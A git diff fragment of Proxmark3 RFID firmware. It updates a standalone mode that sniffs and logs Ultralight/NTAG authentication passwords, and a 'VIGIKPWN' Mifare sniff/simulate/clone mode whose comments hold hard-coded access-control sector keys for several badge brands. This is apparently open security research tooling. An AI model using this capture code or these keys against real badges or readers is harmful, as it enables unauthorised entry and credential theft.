||||
#define HF_BOG_LOGFILE "hf_bog.log"
|
||||
|
||||
// This is actually copied from SniffIso14443a
|
||||
void RAMFUNC SniffAndStore(uint8_t param) {
|
||||
|
@ -90,19 +73,20 @@ void RAMFUNC SniffAndStore(uint8_t param) {
|
|||
bool ReaderIsActive = false;
|
||||
|
||||
// Set up the demodulator for tag -> reader responses.
|
||||
DemodInit(receivedResp, receivedRespPar);
|
||||
Demod14aInit(receivedResp, receivedRespPar);
|
||||
|
||||
// Set up the demodulator for the reader -> tag commands
|
||||
UartInit(receivedCmd, receivedCmdPar);
|
||||
Uart14aInit(receivedCmd, receivedCmdPar);
|
||||
|
||||
// Setup and start DMA.
|
||||
if (!FpgaSetupSscDma((uint8_t *) dmaBuf, DMA_BUFFER_SIZE)) {
|
||||
if (DBGLEVEL > 1) Dbprintf("FpgaSetupSscDma failed. Exiting");
|
||||
if (!FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE)) {
|
||||
if (DBGLEVEL > 1)
|
||||
Dbprintf("FpgaSetupSscDma failed. Exiting");
|
||||
return;
|
||||
}
|
||||
|
||||
tUart *uart = GetUart();
|
||||
tDemod *demod = GetDemod();
|
||||
tUart14a *uart = GetUart14a();
|
||||
tDemod14a *demod = GetDemod14a();
|
||||
|
||||
// We won't start recording the frames that we acquire until we trigger;
|
||||
// a good trigger condition to get started is probably when we see a
|
||||
|
@ -134,17 +118,18 @@ void RAMFUNC SniffAndStore(uint8_t param) {
|
|||
Dbprintf("[!] blew circular buffer! | datalen %u", dataLen);
|
||||
break;
|
||||
}
|
||||
if (dataLen < 1) continue;
|
||||
if (dataLen < 1)
|
||||
continue;
|
||||
|
||||
// primary buffer was stopped( <-- we lost data!
|
||||
if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
|
||||
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf;
|
||||
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t)dmaBuf;
|
||||
AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
|
||||
//Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary
|
||||
// Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary
|
||||
}
|
||||
// secondary buffer sets as primary, secondary buffer was stopped
|
||||
if (!AT91C_BASE_PDC_SSC->PDC_RNCR) {
|
||||
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf;
|
||||
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)dmaBuf;
|
||||
AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
|
||||
}
|
||||
|
||||
|
@ -159,32 +144,33 @@ void RAMFUNC SniffAndStore(uint8_t param) {
|
|||
LED_C_ON();
|
||||
|
||||
// check - if there is a short 7bit request from reader
|
||||
if ((!triggered) && (param & 0x02) && (uart->len == 1) && (uart->bitCount == 7)) triggered = true;
|
||||
if ((!triggered) && (param & 0x02) && (uart->len == 1) && (uart->bitCount == 7))
|
||||
triggered = true;
|
||||
|
||||
if (triggered) {
|
||||
if ((receivedCmd) && ((receivedCmd[0] == MIFARE_ULEV1_AUTH) || (receivedCmd[0] == MIFARE_ULC_AUTH_1))) {
|
||||
if (DBGLEVEL > 1) Dbprintf("PWD-AUTH KEY: 0x%02x%02x%02x%02x", receivedCmd[1], receivedCmd[2], receivedCmd[3], receivedCmd[4]);
|
||||
if ((receivedCmd) &&
|
||||
((receivedCmd[0] == MIFARE_ULEV1_AUTH) || (receivedCmd[0] == MIFARE_ULC_AUTH_1))) {
|
||||
if (DBGLEVEL > 1)
|
||||
Dbprintf("PWD-AUTH KEY: 0x%02x%02x%02x%02x", receivedCmd[1], receivedCmd[2],
|
||||
receivedCmd[3], receivedCmd[4]);
|
||||
|
||||
// temporarily save the captured pwd in our array
|
||||
memcpy(&capturedPwds[4 * auth_attempts], receivedCmd + 1, 4);
|
||||
auth_attempts++;
|
||||
}
|
||||
|
||||
if (!LogTrace(receivedCmd,
|
||||
uart->len,
|
||||
uart->startTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
|
||||
uart->endTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
|
||||
uart->parity,
|
||||
true)) break;
|
||||
if (!LogTrace(receivedCmd, uart->len, uart->startTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
|
||||
uart->endTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER, uart->parity, true))
|
||||
break;
|
||||
}
|
||||
/* ready to receive another command. */
|
||||
UartReset();
|
||||
Uart14aReset();
|
||||
/* reset the demod code, which might have been */
|
||||
/* false-triggered by the commands from the reader. */
|
||||
DemodReset();
|
||||
Demod14aReset();
|
||||
LED_B_OFF();
|
||||
}
|
||||
ReaderIsActive = (uart->state != STATE_UNSYNCD);
|
||||
ReaderIsActive = (uart->state != STATE_14A_UNSYNCD);
|
||||
}
|
||||
|
||||
// no need to try decoding tag data if the reader is sending - and we cannot afford the time
|
||||
|
@ -193,23 +179,21 @@ void RAMFUNC SniffAndStore(uint8_t param) {
|
|||
if (ManchesterDecoding(tagdata, 0, (my_rsamples - 1) * 4)) {
|
||||
LED_B_ON();
|
||||
|
||||
if (!LogTrace(receivedResp,
|
||||
demod->len,
|
||||
demod->startTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
|
||||
demod->endTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
|
||||
demod->parity,
|
||||
false)) break;
|
||||
if (!LogTrace(receivedResp, demod->len, demod->startTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
|
||||
demod->endTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, demod->parity, false))
|
||||
break;
|
||||
|
||||
if ((!triggered) && (param & 0x01)) triggered = true;
|
||||
if ((!triggered) && (param & 0x01))
|
||||
triggered = true;
|
||||
|
||||
// ready to receive another response.
|
||||
DemodReset();
|
||||
Demod14aReset();
|
||||
// reset the Miller decoder including its (now outdated) input buffer
|
||||
UartReset();
|
||||
//UartInit(receivedCmd, receivedCmdPar);
|
||||
Uart14aReset();
|
||||
// UartInit(receivedCmd, receivedCmdPar);
|
||||
LED_C_OFF();
|
||||
}
|
||||
TagIsActive = (demod->state != DEMOD_UNSYNCD);
|
||||
TagIsActive = (demod->state != DEMOD_14A_UNSYNCD);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -228,61 +212,27 @@ void RAMFUNC SniffAndStore(uint8_t param) {
|
|||
|
||||
SpinDelay(200);
|
||||
|
||||
// Write stuff to flash
|
||||
// Write stuff to spiffs logfile
|
||||
if (auth_attempts > 0) {
|
||||
if (DBGLEVEL > 1) Dbprintf("[!] Authentication attempts = %u", auth_attempts);
|
||||
if (DBGLEVEL > 1)
|
||||
Dbprintf("[!] Authentication attempts = %u", auth_attempts);
|
||||
|
||||
// Setting the SPI Baudrate to 48MHz to avoid the bit-flip issue (https://github.com/RfidResearchGroup/proxmark3/issues/34)
|
||||
FlashmemSetSpiBaudrate(48000000);
|
||||
|
||||
// Find the offset in flash mem to continue writing the auth attempts
|
||||
uint8_t memoffset = FindOffsetInFlash();
|
||||
if (DBGLEVEL > 1) Dbprintf("[!] Memory offset = %u", memoffset);
|
||||
|
||||
if ((memoffset + 4 * auth_attempts) > 0xFF) {
|
||||
// We opt to keep the new data only
|
||||
memoffset = 0;
|
||||
if (DBGLEVEL > 1) Dbprintf("[!] Size of total data > 256 bytes. Discarding the old data.");
|
||||
if (!exists_in_spiffs((char *)HF_BOG_LOGFILE)) {
|
||||
rdv40_spiffs_write((char *)HF_BOG_LOGFILE, capturedPwds, 4 * auth_attempts, RDV40_SPIFFS_SAFETY_SAFE);
|
||||
} else {
|
||||
rdv40_spiffs_append((char *)HF_BOG_LOGFILE, capturedPwds, 4 * auth_attempts, RDV40_SPIFFS_SAFETY_SAFE);
|
||||
}
|
||||
|
||||
// Get previous data from flash mem
|
||||
uint8_t *previousdata = BigBuf_malloc(memoffset);
|
||||
if (memoffset > 0) {
|
||||
uint16_t readlen = Flash_ReadData(0, previousdata, memoffset);
|
||||
if (DBGLEVEL > 1) Dbprintf("[!] Read %u bytes from flash mem", readlen);
|
||||
}
|
||||
|
||||
// create new bigbuf to hold all data
|
||||
size_t total_size = memoffset + 4 * auth_attempts;
|
||||
uint8_t *total_data = BigBuf_malloc(total_size);
|
||||
|
||||
// Add the previousdata array into total_data array
|
||||
memcpy(total_data, previousdata, memoffset);
|
||||
|
||||
// Copy bytes of capturedPwds immediately following bytes of previousdata
|
||||
memcpy(total_data + memoffset, capturedPwds, 4 * auth_attempts);
|
||||
|
||||
// Erase first page of flash mem
|
||||
EraseMemory();
|
||||
|
||||
// Write total data to flash mem
|
||||
uint16_t writelen = Flash_WriteData(0, total_data, memoffset + 4 * auth_attempts);
|
||||
if (DBGLEVEL > 1) Dbprintf("[!] Wrote %u bytes into flash mem", writelen);
|
||||
|
||||
// If pwd saved successfully, blink led A three times
|
||||
if (writelen > 0) {
|
||||
SpinErr(0, 200, 5); // blink led A
|
||||
}
|
||||
|
||||
SpinDelay(100);
|
||||
|
||||
// Reset the SPI Baudrate to the default value (24MHz)
|
||||
FlashmemSetSpiBaudrate(24000000);
|
||||
}
|
||||
|
||||
if (DBGLEVEL > 1)
|
||||
Dbprintf("[!] Wrote %u Authentification attempts into logfile", auth_attempts);
|
||||
|
||||
SpinErr(LED_A, 200, 5);
|
||||
SpinDelay(100);
|
||||
}
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" HF 14a sniff standalone with ULC/ULEV1/NTAG auth storing in flashmem - aka BogitoRun (Bogito)");
|
||||
DbpString(" HF 14a sniff standalone with ULC/ULEV1/NTAG auth storing in flashmem - aka BogitoRun (Bogito)");
|
||||
}
|
||||
|
||||
void RunMod() {
|
||||
|
@ -299,5 +249,5 @@ void RunMod() {
|
|||
LEDsoff();
|
||||
SpinDelay(300);
|
||||
Dbprintf("- [ End ] -> You can take shell back ...");
|
||||
Dbprintf("- [ ! ] -> use 'script run read_pwd_mem' to print passwords");
|
||||
Dbprintf("- [ ! ] -> use 'script run read_pwd_mem_spiffs' to print passwords");
|
||||
}
|
||||
|
|
|
@ -1,26 +0,0 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// StandAlone Mod
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef __HF_BOG_H
|
||||
#define __HF_BOG_H
|
||||
|
||||
#include "proxmark3.h"
|
||||
#include "mifareutil.h"
|
||||
#include "iso14443a.h"
|
||||
#include "protocols.h"
|
||||
#include "util.h"
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include <stdbool.h> // for bool
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "apps.h"
|
||||
#include "printf.h"
|
||||
#include "parity.h"
|
||||
|
||||
|
||||
#endif /* __HF_BOG_H */
|
|
@ -1,5 +1,5 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Colin Brigato, 2016, 2017
|
||||
// Colin Brigato, 2016, 2017, 2018, 2019
|
||||
// Christian Herrmann, 2017
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
|
@ -8,11 +8,78 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// main code for HF Mifare aka ColinRun by Colin Brigato
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "standalone.h" // standalone definitions
|
||||
|
||||
#include "hf_colin.h"
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "util.h"
|
||||
#include "commonutil.h"
|
||||
#include "BigBuf.h"
|
||||
#include "iso14443a.h"
|
||||
#include "mifareutil.h"
|
||||
#include "mifaresim.h"
|
||||
#include "vtsend.h"
|
||||
#include "spiffs.h"
|
||||
#include "frozen.h"
|
||||
|
||||
#define MF1KSZ 1024
|
||||
#define MF1KSZSIZE 64
|
||||
#define AUTHENTICATION_TIMEOUT 848
|
||||
#define HFCOLIN_LASTTAG_SYMLINK "hf_colin/lasttag.bin"
|
||||
#define HFCOLIN_SCHEMAS_JSON "hf_colin/schemas.json"
|
||||
|
||||
/* Example jsonconfig file schemas.json : (array !)
|
||||
[{
|
||||
"name": "UrmetCaptive",
|
||||
"trigger": "0x8829da9daf76",
|
||||
"keysA": [
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76"
|
||||
],
|
||||
"keysB": [
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76",
|
||||
"0x8829da9daf76"
|
||||
]
|
||||
},{
|
||||
"name": "Noralsy",
|
||||
...
|
||||
|
||||
]
|
||||
|
||||
*/
|
||||
|
||||
uint8_t cjuid[10];
|
||||
uint32_t cjcuid;
|
||||
|
@ -26,40 +93,128 @@ int curlline;
|
|||
|
||||
// Colin's VIGIKPWN sniff/simulate/clone repeat routine for HF Mifare
|
||||
|
||||
/*
|
||||
void cjPrintBigArray(const char *bigar, int len, uint8_t newlines, uint8_t debug)
|
||||
{
|
||||
uint32_t chunksize = (PM3_CMD_DATA_SIZE / 4);
|
||||
uint8_t totalchunks = len / chunksize;
|
||||
uint8_t last_chunksize = len - (totalchunks * chunksize);
|
||||
char chunk[chunksize + 1];
|
||||
memset(chunk, 0x00, sizeof(chunk));
|
||||
if (debug > 0)
|
||||
{
|
||||
Dbprintf("len : %d", len);
|
||||
Dbprintf("chunksize : %d bytes", chunksize);
|
||||
Dbprintf("totalchunks : %d", totalchunks);
|
||||
Dbprintf("last_chunksize: %d", last_chunksize);
|
||||
}
|
||||
for (uint8_t i = 0; i < totalchunks; i++)
|
||||
{
|
||||
memset(chunk, 0x00, sizeof(chunk));
|
||||
memcpy(chunk, &bigar[i * chunksize], chunksize);
|
||||
DbprintfEx(FLAG_RAWPRINT, "%s", chunk);
|
||||
}
|
||||
if (last_chunksize > 0)
|
||||
{
|
||||
memset(chunk, 0x00, sizeof(chunk));
|
||||
memcpy(chunk, &bigar[totalchunks * chunksize], last_chunksize);
|
||||
DbprintfEx(FLAG_RAWPRINT, "%s", chunk);
|
||||
}
|
||||
if (newlines > 0)
|
||||
{
|
||||
DbprintfEx(FLAG_NEWLINE, " ");
|
||||
static const uint8_t is_hex[] = {
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, 0, 0, 0, 0,
|
||||
0, 11, 12, 13, 14, 15, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 11, 12, 13, 14, 15, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
||||
};
|
||||
|
||||
static inline uint64_t hex2i(const char *s) {
|
||||
uint64_t val = 0;
|
||||
if (s == NULL || s[0] == 0)
|
||||
return 0;
|
||||
if (s[1] == 'x')
|
||||
s += 2;
|
||||
else if (*s == 'x')
|
||||
s++;
|
||||
while (is_hex[(uint8_t)*s])
|
||||
val = (val << 4) | (is_hex[(uint8_t) * (s++)] - 1);
|
||||
return val;
|
||||
}
|
||||
|
||||
/*char *noralsy2test =
|
||||
"{\"name\":\"noralsy2\",\"trigger\":\"0x414C41524F4E\",\"keysA\":[\"0x414C41524F4E\",\"0x414C41524F4E\","
|
||||
"\"0x414C41524F4E\","
|
||||
"\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\","
|
||||
"\"0x414C41524F4E\",\"0x414C41524F4E\","
|
||||
"\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\","
|
||||
"\"0x414C41524F4E\"],\"keysB\":["
|
||||
"\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\","
|
||||
"\"0x424C41524F4E\",\"0x424C41524F4E\","
|
||||
"\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\","
|
||||
"\"0x424C41524F4E\",\"0x424C41524F4E\","
|
||||
"\"0x424C41524F4E\",\"0x424C41524F4E\"]}";*/
|
||||
|
||||
/*char *urmetcaptive2test =
|
||||
"{\"name\":\"urmetcaptive2\",\"trigger\":\"0x8829da9daf76\",\"keysA\":[\"0x8829da9daf76\",\"0x8829da9daf76\","
|
||||
"\"0x8829da9daf76\","
|
||||
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
|
||||
"\"0x8829da9daf76\",\"0x8829da9daf76\","
|
||||
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
|
||||
"\"0x8829da9daf76\"],\"keysB\":["
|
||||
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
|
||||
"\"0x8829da9daf76\",\"0x8829da9daf76\","
|
||||
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
|
||||
"\"0x8829da9daf76\",\"0x8829da9daf76\","
|
||||
"\"0x8829da9daf76\",\"0x8829da9daf76\"]}";*/
|
||||
|
||||
typedef struct MFC1KSchema {
|
||||
uint8_t name[32];
|
||||
uint64_t trigger;
|
||||
uint64_t keysA[16];
|
||||
uint64_t keysB[16];
|
||||
} MFC1KSchema;
|
||||
|
||||
#define MAX_SCHEMAS 4
|
||||
|
||||
static void scan_keys(const char *str, int len, uint64_t *user_data) {
|
||||
struct json_token t;
|
||||
int i;
|
||||
char ks[32];
|
||||
for (i = 0; json_scanf_array_elem(str, len, "", i, &t) > 0; i++) {
|
||||
sprintf(ks, "%.*s", t.len, t.ptr);
|
||||
user_data[i] = hex2i(ks);
|
||||
}
|
||||
}
|
||||
|
||||
MFC1KSchema Schemas[MAX_SCHEMAS];
|
||||
|
||||
/*MFC1KSchema Noralsy = {
|
||||
.name = "Noralsy",
|
||||
.trigger = 0x414c41524f4e,
|
||||
.keysA = {0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e,
|
||||
0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e,
|
||||
0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e},
|
||||
.keysB = {0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e,
|
||||
0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e,
|
||||
0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e}};
|
||||
|
||||
MFC1KSchema InfiHexact = {.name = "Infineon/Hexact",
|
||||
.trigger = 0x484558414354,
|
||||
.keysA = {0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354,
|
||||
0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354,
|
||||
0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354,
|
||||
0x484558414354},
|
||||
.keysB = {0xa22ae129c013, 0x49fae4e3849f, 0x38fcf33072e0, 0x8ad5517b4b18, 0x509359f131b1,
|
||||
0x6c78928e1317, 0xaa0720018738, 0xa6cac2886412, 0x62d0c424ed8e, 0xe64a986a5d94,
|
||||
0x8fa1d601d0a2, 0x89347350bd36, 0x66d2b7dc39ef, 0x6bc1e1ae547d, 0x22729a9bd40f}};
|
||||
*/
|
||||
|
||||
/*MFC1KSchema UrmetCaptive = {
|
||||
.name = "Urmet Captive",
|
||||
.trigger = 0x8829da9daf76,
|
||||
.keysA = {0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
|
||||
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
|
||||
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76},
|
||||
.keysB = {0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
|
||||
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
|
||||
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76}};
|
||||
*/
|
||||
|
||||
int total_schemas = 0;
|
||||
|
||||
void add_schema(MFC1KSchema *p, MFC1KSchema a, int *schemas_counter) {
|
||||
if (*schemas_counter < MAX_SCHEMAS) {
|
||||
p[*schemas_counter] = a;
|
||||
*schemas_counter += 1;
|
||||
}
|
||||
}
|
||||
|
||||
void delete_schema(MFC1KSchema *p, int *schemas_counter, int index) {
|
||||
if (*schemas_counter > 0 && index < *schemas_counter && index > -1) {
|
||||
int last_index = *schemas_counter - 1;
|
||||
for (int i = index; i < last_index; i++) {
|
||||
p[i] = p[i + 1];
|
||||
}
|
||||
*schemas_counter -= 1;
|
||||
}
|
||||
}
|
||||
|
||||
void cjSetCursFRight() {
|
||||
vtsend_cursor_position(NULL, 98, (currfline));
|
||||
currfline++;
|
||||
|
@ -80,59 +235,72 @@ void cjTabulize() { DbprintfEx(FLAG_RAWPRINT, "\t\t\t"); }
|
|||
/*
|
||||
void cjPrintKey(uint64_t key, uint8_t *foundKey, uint16_t sectorNo, uint8_t type) {
|
||||
char tosendkey[13];
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[0], foundKey[1], foundKey[2], foundKey[3], foundKey[4], foundKey[5]);
|
||||
cjSetCursRight();
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x | KEY : %s | TYP: %d", sectorNo, tosendkey, type);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[0], foundKey[1], foundKey[2], foundKey[3], foundKey[4],
|
||||
foundKey[5]); cjSetCursRight(); DbprintfEx(FLAG_NEWLINE, "SEC: %02x | KEY : %s | TYP: %d", sectorNo, tosendkey, type);
|
||||
}
|
||||
*/
|
||||
|
||||
char *ReadSchemasFromSPIFFS(char *filename) {
|
||||
SpinOff(0);
|
||||
|
||||
int changed = rdv40_spiffs_lazy_mount();
|
||||
uint32_t size = size_in_spiffs((char *)filename);
|
||||
uint8_t *mem = BigBuf_malloc(size);
|
||||
rdv40_spiffs_read_as_filetype((char *)filename, (uint8_t *)mem, size, RDV40_SPIFFS_SAFETY_SAFE);
|
||||
|
||||
if (changed) {
|
||||
rdv40_spiffs_lazy_unmount();
|
||||
}
|
||||
SpinOff(0);
|
||||
return (char *)mem;
|
||||
}
|
||||
|
||||
void add_schemas_from_json_in_spiffs(char *filename) {
|
||||
|
||||
char *jsonfile = ReadSchemasFromSPIFFS((char *)filename);
|
||||
|
||||
int i, len = strlen(jsonfile);
|
||||
struct json_token t;
|
||||
for (i = 0; json_scanf_array_elem(jsonfile, len, "", i, &t) > 0; i++) {
|
||||
char *tmpname;
|
||||
char *tmptrigger;
|
||||
MFC1KSchema tmpscheme;
|
||||
json_scanf(t.ptr, t.len, "{ name:%Q, trigger:%Q, keysA:%M, keysB:%M}", &tmpname, &tmptrigger, scan_keys,
|
||||
&tmpscheme.keysA, scan_keys, &tmpscheme.keysB);
|
||||
memcpy(tmpscheme.name, tmpname, 32);
|
||||
tmpscheme.trigger = hex2i(tmptrigger);
|
||||
add_schema(Schemas, tmpscheme, &total_schemas);
|
||||
DbprintfEx(FLAG_NEWLINE, "Schema loaded : %s", tmpname);
|
||||
cjSetCursLeft();
|
||||
}
|
||||
}
|
||||
|
||||
void ReadLastTagFromFlash() {
|
||||
SpinOff(0);
|
||||
LED_A_ON();
|
||||
LED_B_ON();
|
||||
LED_C_ON();
|
||||
LED_D_ON();
|
||||
uint32_t startidx = 0;
|
||||
uint16_t len = 1024;
|
||||
size_t size = len;
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "Button HELD ! Using LAST Known TAG for Simulation...");
|
||||
cjSetCursLeft();
|
||||
|
||||
size_t size = len;
|
||||
uint8_t *mem = BigBuf_malloc(size);
|
||||
|
||||
if (!FlashInit()) {
|
||||
return;
|
||||
}
|
||||
Flash_CheckBusy(BUSY_TIMEOUT);
|
||||
// this one will handle filetype (symlink or not) and resolving by itself
|
||||
rdv40_spiffs_read_as_filetype((char *)HFCOLIN_LASTTAG_SYMLINK, (uint8_t *)mem, len, RDV40_SPIFFS_SAFETY_SAFE);
|
||||
|
||||
uint32_t start_time = GetTickCount();
|
||||
uint32_t delta_time = 0;
|
||||
emlSetMem(mem, 0, 64);
|
||||
|
||||
for (size_t i = 0; i < len; i += size) {
|
||||
len = MIN((len - i), size);
|
||||
uint16_t isok = Flash_ReadDataCont(startidx + i, mem, len);
|
||||
if (isok == len) {
|
||||
emlSetMem(mem, 0, 64);
|
||||
} else {
|
||||
DbprintfEx(FLAG_NEWLINE, "FlashMem reading failed | %d | %d", len, isok);
|
||||
cjSetCursLeft();
|
||||
FlashStop();
|
||||
SpinOff(100);
|
||||
return;
|
||||
}
|
||||
}
|
||||
delta_time = GetTickCountDelta(start_time);
|
||||
DbprintfEx(FLAG_NEWLINE, "[OK] Last tag recovered from FLASHMEM set to emulator");
|
||||
cjSetCursLeft();
|
||||
DbprintfEx(FLAG_NEWLINE, "%s[IN]%s %s%dms%s for TAG_FLASH_READ", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
FlashStop();
|
||||
SpinOff(0);
|
||||
return;
|
||||
}
|
||||
|
||||
void WriteTagToFlash(uint8_t index, size_t size) {
|
||||
void WriteTagToFlash(uint32_t uid, size_t size) {
|
||||
SpinOff(0);
|
||||
LED_A_ON();
|
||||
LED_B_ON();
|
||||
|
@ -140,68 +308,37 @@ void WriteTagToFlash(uint8_t index, size_t size) {
|
|||
LED_D_ON();
|
||||
|
||||
uint32_t len = size;
|
||||
uint32_t bytes_sent = 0;
|
||||
uint32_t bytes_remaining = len;
|
||||
|
||||
uint8_t data[(size * (16 * 64)) / 1024];
|
||||
uint8_t buff[PAGESIZE];
|
||||
|
||||
emlGetMem(data, 0, (size * 64) / 1024);
|
||||
|
||||
if (!FlashInit()) {
|
||||
return;
|
||||
}
|
||||
char dest[SPIFFS_OBJ_NAME_LEN];
|
||||
uint8_t buid[4];
|
||||
num_to_bytes(uid, 4, buid);
|
||||
sprintf(dest, "hf_colin/mf_%02x%02x%02x%02x.bin", buid[0], buid[1], buid[2], buid[3]);
|
||||
|
||||
Flash_CheckBusy(BUSY_TIMEOUT);
|
||||
Flash_WriteEnable();
|
||||
Flash_Erase4k(0, 0);
|
||||
// TODO : by using safe function for multiple writes we are both breaking cache mecanisms and making useless and
|
||||
// unoptimized mount operations we should manage at out level the mount status before and after the whole
|
||||
// standalone mode
|
||||
rdv40_spiffs_write((char *)dest, (uint8_t *)data, len, RDV40_SPIFFS_SAFETY_SAFE);
|
